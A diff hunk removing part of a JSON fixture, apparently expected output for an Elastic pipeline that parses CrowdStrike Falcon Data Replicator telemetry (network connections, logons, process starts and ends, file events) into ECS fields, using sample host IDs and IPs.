-                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"319255017313886870\",\"ContextTimeStamp\":\"1604855200.751\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemotePort\":\"2181\",\"aid\":\"ffffffffed0f41575620ab9fb25ce105\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-81f1-061cdebbd115\",\"name\":\"NetworkConnectIP6MacV5\",\"timestamp\":\"1604855200836\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffffed0f41575620ab9fb25ce105",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkConnectIP6",
-            "network": {
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffed0f41575620ab9fb25ce105",
-                "version": "1007.4.0011104.1"
-            },
-            "process": {
-                "entity_id": "319255017313886870"
-            },
-            "related": {
-                "hash": [
-                    "203564169"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0:0:0:0:0:0:0:0",
-                    "0:0:0:0:0:0:0:1"
-                ]
-            },
-            "source": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 0
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:52.031Z",
-            "crowdstrike": {
-                "AuthenticationId": "1656178821",
-                "AuthenticationPackage": "Kerberos",
-                "ConfigStateHash": "3338885535",
-                "ContextProcessId": "30254389526587",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LogonId": "1656178821",
-                "LogonServer": "srv1",
-                "LogonTime": "2020-11-08T17:06:51.249Z",
-                "LogonType": "5",
-                "PasswordLastSet": "1530626210.104",
-                "RemoteAccount": "1",
-                "SessionId": "0",
-                "UserFlags": "32",
-                "UserLogonFlags": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-86e3-02db1faa1327",
-                "name": "UserIdentityV2"
-            },
-            "device": {
-                "id": "ffffffff73164cfa9656c4caff8a2a38"
-            },
-            "event": {
-                "action": "UserIdentity",
-                "category": [
-                    "authentication",
-                    "iam"
-                ],
-                "created": "2020-11-08T17:06:52.031Z",
-                "id": "ffffffff-1111-11eb-86e3-02db1faa1327|ffffffff73164cfa9656c4caff8a2a38|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"1656178821\",\"AuthenticationPackage\":\"Kerberos\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"30254389526587\",\"ContextThreadId\":\"275230771323179\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"dom1\",\"LogonId\":\"1656178821\",\"LogonServer\":\"srv1\",\"LogonTime\":\"1604855211.249\",\"LogonType\":\"5\",\"PasswordLastSet\":\"1530626210.104\",\"RemoteAccount\":\"1\",\"SessionId\":\"0\",\"UserCanonical\":\"\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"0\",\"UserName\":\"user7\",\"UserPrincipal\":\"user7@dom4.cm\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-183372\",\"aid\":\"ffffffff73164cfa9656c4caff8a2a38\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-86e3-02db1faa1327\",\"name\":\"UserIdentityV2\",\"timestamp\":\"1604855212031\"}",
-                "outcome": "success",
-                "type": [
-                    "info",
-                    "user"
-                ]
-            },
-            "host": {
-                "domain": "dom1",
-                "id": "ffffffff73164cfa9656c4caff8a2a38",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserIdentity",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff73164cfa9656c4caff8a2a38",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "30254389526587",
-                "thread": {
-                    "id": 275230771323179
-                }
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "hosts": [
-                    "srv1"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user7",
-                    "user7@dom4.cm",
-                    "S-1-5-21-606747145-1364589140-725345543-183372"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom4.cm",
-                "email": "user7@dom4.cm",
-                "full_name": "user7",
-                "id": "S-1-5-21-606747145-1364589140-725345543-183372",
-                "name": "user7"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:07:17.946Z",
-            "crowdstrike": {
-                "AuthenticationId": "999",
-                "ConfigStateHash": "4193986770",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ImageSubsystem": "2",
-                "IntegrityLevel": "16384",
-                "MD5HashData": "8a0a29438052faed8a2532da50455756",
-                "ParentAuthenticationId": "999",
-                "ProcessCreateFlags": "525324",
-                "ProcessParameterFlags": "8193",
-                "ProcessSxsFlags": "64",
-                "SHA256HashData": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6",
-                "SessionId": "0",
-                "SourceProcessId": "2881931477041",
-                "SourceThreadId": "70316664105336",
-                "Tags": [
-                    "27",
-                    "29",
-                    "53",
-                    "54",
-                    "55",
-                    "185",
-                    "10445360464024",
-                    "10445360464025",
-                    "10445360464026",
-                    "10445360464258",
-                    "10445360464273",
-                    "10445360464274",
-                    "12094627905582",
-                    "12094627906234",
-                    "211655988347297"
-                ],
-                "TokenType": "2",
-                "WindowFlags": "128",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b",
-                "name": "ProcessRollup2V16"
-            },
-            "device": {
-                "id": "ffffffffbe8a46386afe80c5ef64d0b5"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:07:17.946Z",
-                "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b|ffffffffbe8a46386afe80c5ef64d0b5|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\System32\\\\svchost.exe -k netsvcs -p -s NetSetupSvc\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"4193986770\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"8a0a29438052faed8a2532da50455756\",\"ParentAuthenticationId\":\"999\",\"ParentProcessId\":\"2881931477041\",\"ProcessCreateFlags\":\"525324\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"8193\",\"ProcessStartTime\":\"1604842733.215\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6160\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6\",\"SessionId\":\"0\",\"SourceProcessId\":\"2881931477041\",\"SourceThreadId\":\"70316664105336\",\"Tags\":\"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297\",\"TargetProcessId\":\"2882232404222\",\"TokenType\":\"2\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"128\",\"aid\":\"ffffffffbe8a46386afe80c5ef64d0b5\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-b4f9-06e3a7e5503b\",\"name\":\"ProcessRollup2V16\",\"timestamp\":\"1604855237946\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffbe8a46386afe80c5ef64d0b5",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffbe8a46386afe80c5ef64d0b5",
-                "version": "1007.3.0010609.1"
-            },
-            "process": {
-                "Ext": {
-                    "token": {
-                        "integrity_level_name": "SYSTEM"
-                    }
-                },
-                "args": [
-                    "C:\\WINDOWS\\System32\\svchost.exe",
-                    "-k",
-                    "netsvcs",
-                    "-p",
-                    "-s",
-                    "NetSetupSvc"
-                ],
-                "args_count": 6,
-                "command_line": "C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc",
-                "entity_id": "2882232404222",
-                "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe",
-                "hash": {
-                    "md5": "8a0a29438052faed8a2532da50455756",
-                    "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6"
-                },
-                "name": "svchost.exe",
-                "parent": {
-                    "entity_id": "2881931477041"
-                },
-                "pid": 6160,
-                "start": "2020-11-08T13:38:53.215Z"
-            },
-            "related": {
-                "hash": [
-                    "8a0a29438052faed8a2532da50455756",
-                    "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6",
-                    "4193986770"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "S-1-5-18"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-18"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:07:22.091Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1763245019",
-                "ContextProcessId": "1016182570608",
-                "ContextTimeStamp": "2020-11-08T09:58:32.519Z",
-                "DesiredAccess": "1179785",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileAttributes": "0",
-                "FileObject": "18446670458156489088",
-                "Information": "1",
-                "IrpFlags": "2180",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "16777312",
-                "ShareAccess": "5",
-                "Status": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9756-06fe7f8f682f",
-                "name": "RansomwareOpenFileV4"
-            },
-            "device": {
-                "id": "ffffffffac4148947ed68497e89f3308"
-            },
-            "event": {
-                "action": "RansomwareOpenFile",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:07:22.091Z",
-                "id": "ffffffff-1111-11eb-9756-06fe7f8f682f|ffffffffac4148947ed68497e89f3308|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"1016182570608\",\"ContextThreadId\":\"37343520154472\",\"ContextTimeStamp\":\"1604829512.519\",\"DesiredAccess\":\"1179785\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00\",\"FileObject\":\"18446670458156489088\",\"Information\":\"1\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"16777312\",\"ShareAccess\":\"5\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user11\\\\Downloads\\\\file.pptx\",\"aid\":\"ffffffffac4148947ed68497e89f3308\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RansomwareOpenFile\",\"id\":\"ffffffff-1111-11eb-9756-06fe7f8f682f\",\"name\":\"RansomwareOpenFileV4\",\"timestamp\":\"1604855242091\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads",
-                "extension": "pptx",
-                "inode": "7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00",
-                "name": "file.pptx",
-                "path": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffac4148947ed68497e89f3308",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RansomwareOpenFile",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffac4148947ed68497e89f3308",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1016182570608",
-                "thread": {
-                    "id": 37343520154472
-                }
-            },
-            "related": {
-                "hash": [
-                    "1763245019"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:07:56.657Z",
-            "crowdstrike": {
-                "AllocateVirtualMemoryCount": 0,
-                "ArchiveFileWrittenCount": 0,
-                "AsepWrittenCount": 0,
-                "BinaryExecutableWrittenCount": 0,
-                "CLICreationCount": 0,
-                "ConHostId": "13532",
-                "ConHostProcessId": "1731198143955",
-                "ConfigStateHash": "2030177841",
-                "ContextProcessId": "1741732942772",
-                "ContextTimeStamp": "2020-11-08T17:07:54.377Z",
-                "CycleTime": 473618996,
-                "DirectoryCreatedCount": 0,
-                "DirectoryEnumeratedCount": 0,
-                "DnsRequestCount": 0,
-                "DocumentFileWrittenCount": 0,
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ExeAndServiceCount": 0,
-                "ExecutableDeletedCount": 0,
-                "FileDeletedCount": 0,
-                "GenericFileWrittenCount": 0,
-                "ImageSubsystem": "2",
-                "InjectedDllCount": 0,
-                "InjectedThreadCount": 0,
-                "KernelTime": 1406250,
-                "MaxThreadCount": 16,
-                "ModuleLoadCount": 72,
-                "NetworkBindCount": 0,
-                "NetworkCapableAsepWriteCount": 0,
-                "NetworkCloseCount": 0,
-                "NetworkConnectCount": 0,
-                "NetworkConnectCountUdp": 0,
-                "NetworkListenCount": 0,
-                "NetworkModuleLoadCount": 0,
-                "NetworkRecvAcceptCount": 0,
-                "NewExecutableWrittenCount": 0,
-                "PrivilegedProcessHandleCount": 0,
-                "ProtectVirtualMemoryCount": 0,
-                "QueueApcCount": 0,
-                "RegKeySecurityDecreasedCount": 0,
-                "RemovableDiskFileWrittenCount": 0,
-                "RunDllInvocationCount": 0,
-                "SHA256HashData": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f",
-                "ScreenshotsTakenCount": 0,
-                "ScriptEngineInvocationCount": 0,
-                "ServiceEventCount": 0,
-                "SetThreadContextCount": 0,
-                "SnapshotFileOpenCount": 0,
-                "SuspectStackCount": 0,
-                "SuspiciousCredentialModuleLoadCount": 0,
-                "SuspiciousDnsRequestCount": 0,
-                "SuspiciousFontLoadCount": 0,
-                "SuspiciousRawDiskReadCount": 0,
-                "UnsignedModuleLoadCount": 0,
-                "UserMemoryAllocateExecutableCount": 0,
-                "UserMemoryAllocateExecutableRemoteCount": 0,
-                "UserMemoryProtectExecutableCount": 0,
-                "UserMemoryProtectExecutableRemoteCount": 0,
-                "UserTime": 781250,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b685-0241eaddc553",
-                "name": "EndOfProcessV14"
-            },
-            "device": {
-                "id": "fffffffffdab492a5a20cd0417395a73"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:07:56.657Z",
-                "id": "ffffffff-1111-11eb-b685-0241eaddc553|fffffffffdab492a5a20cd0417395a73|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"13532\",\"ConHostProcessId\":\"1731198143955\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"2030177841\",\"ContextData\":\"\",\"ContextProcessId\":\"1741732942772\",\"ContextThreadId\":\"28523520529271\",\"ContextTimeStamp\":\"1604855274.377\",\"CycleTime\":\"473618996\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"0\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"0\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"2\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"1406250\",\"MaxThreadCount\":\"16\",\"ModuleLoadCount\":\"72\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"1731198143955\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855154.465\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"18176\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"1741732942772\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-12-1-1647509123-1308660782-3901357462-3999411581\",\"UserTime\":\"781250\",\"aid\":\"fffffffffdab492a5a20cd0417395a73\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-b685-0241eaddc553\",\"name\":\"EndOfProcessV14\",\"timestamp\":\"1604855276657\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "fffffffffdab492a5a20cd0417395a73",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "fffffffffdab492a5a20cd0417395a73",
-                "version": "1007.3.0010609.1"
-            },
-            "process": {
-                "entity_id": "1741732942772",
-                "exit_code": 0,
-                "hash": {
-                    "sha256": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f"
-                },
-                "parent": {
-                    "entity_id": "1731198143955"
-                },
-                "pid": 18176,
-                "start": "2020-11-08T17:05:54.465Z",
-                "thread": {
-                    "id": 28523520529271
-                }
-            },
-            "related": {
-                "hash": [
-                    "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f",
-                    "2030177841"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "S-1-12-1-1647509123-1308660782-3901357462-3999411581"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-12-1-1647509123-1308660782-3901357462-3999411581"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:08:49.571Z",
-            "crowdstrike": {
-                "AuthenticationId": "895027",
-                "ConfigStateHash": "3338885535",
-                "ContextProcessId": "1786917081743",
-                "ContextTimeStamp": "2020-11-08T17:08:37.892Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileEcpBitmask": "0",
-                "FileObject": "18446636933702558240",
-                "IrpFlags": "1028",
-                "IsOnNetwork": "1",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "18",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9165-067ee18a7975",
-                "name": "OoxmlFileWrittenV11"
-            },
-            "device": {
-                "id": "fffffffffa474d216472f3edb73c75ed"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:08:49.571Z",
-                "id": "ffffffff-1111-11eb-9165-067ee18a7975|fffffffffa474d216472f3edb73c75ed|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"895027\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1786917081743\",\"ContextThreadId\":\"31685015444484\",\"ContextTimeStamp\":\"1604855317.892\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"0000000000000000be341bb58bc5f1f2a24339010200510e\",\"FileObject\":\"18446636933702558240\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"1\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"223989\",\"TargetFileName\":\"\\\\Device\\\\Mup\\\\intranet.dev\\\\int\\\\Test.pptx\",\"TokenType\":\"1\",\"aid\":\"fffffffffa474d216472f3edb73c75ed\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"OoxmlFileWritten\",\"id\":\"ffffffff-1111-11eb-9165-067ee18a7975\",\"name\":\"OoxmlFileWrittenV11\",\"timestamp\":\"1604855329571\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\Mup\\intranet.dev\\int",
-                "extension": "pptx",
-                "inode": "0000000000000000be341bb58bc5f1f2a24339010200510e",
-                "name": "Test.pptx",
-                "path": "\\Device\\Mup\\intranet.dev\\int\\Test.pptx",
-                "size": 223989,
-                "type": "file"
-            },
-            "host": {
-                "id": "fffffffffa474d216472f3edb73c75ed",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "OoxmlFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "fffffffffa474d216472f3edb73c75ed",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1786917081743",
-                "thread": {
-                    "id": 31685015444484
-                }
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:09:11.798Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3765958535",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "439029805661",
-                "ContextTimeStamp": "2020-11-08T17:09:11.158Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-85f5-02ab029194b9",
-                "name": "NetworkListenIP6V5"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffff1f924e228a807ea4c0f21b0b"
-            },
-            "event": {
-                "action": "NetworkListenIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:09:11.798Z",
-                "id": "ffffffff-1111-11eb-85f5-02ab029194b9|ffffffff1f924e228a807ea4c0f21b0b|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"439029805661\",\"ContextThreadId\":\"273683743193497\",\"ContextTimeStamp\":\"1604855351.158\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"50373\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffff1f924e228a807ea4c0f21b0b\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-85f5-02ab029194b9\",\"name\":\"NetworkListenIP6V5\",\"timestamp\":\"1604855351798\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff1f924e228a807ea4c0f21b0b",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkListenIP6",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff1f924e228a807ea4c0f21b0b",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "439029805661",
-                "thread": {
-                    "id": 273683743193497
-                }
-            },
-            "related": {
-                "hash": [
-                    "3765958535"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                    "0:0:0:0:0:0:0:0"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "port": 50373
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:09:15.495Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1457965279",
-                "ContextProcessId": "321365562189152025",
-                "ContextTimeStamp": "2020-11-08T14:34:30.744Z",
-                "Entitlements": "15",
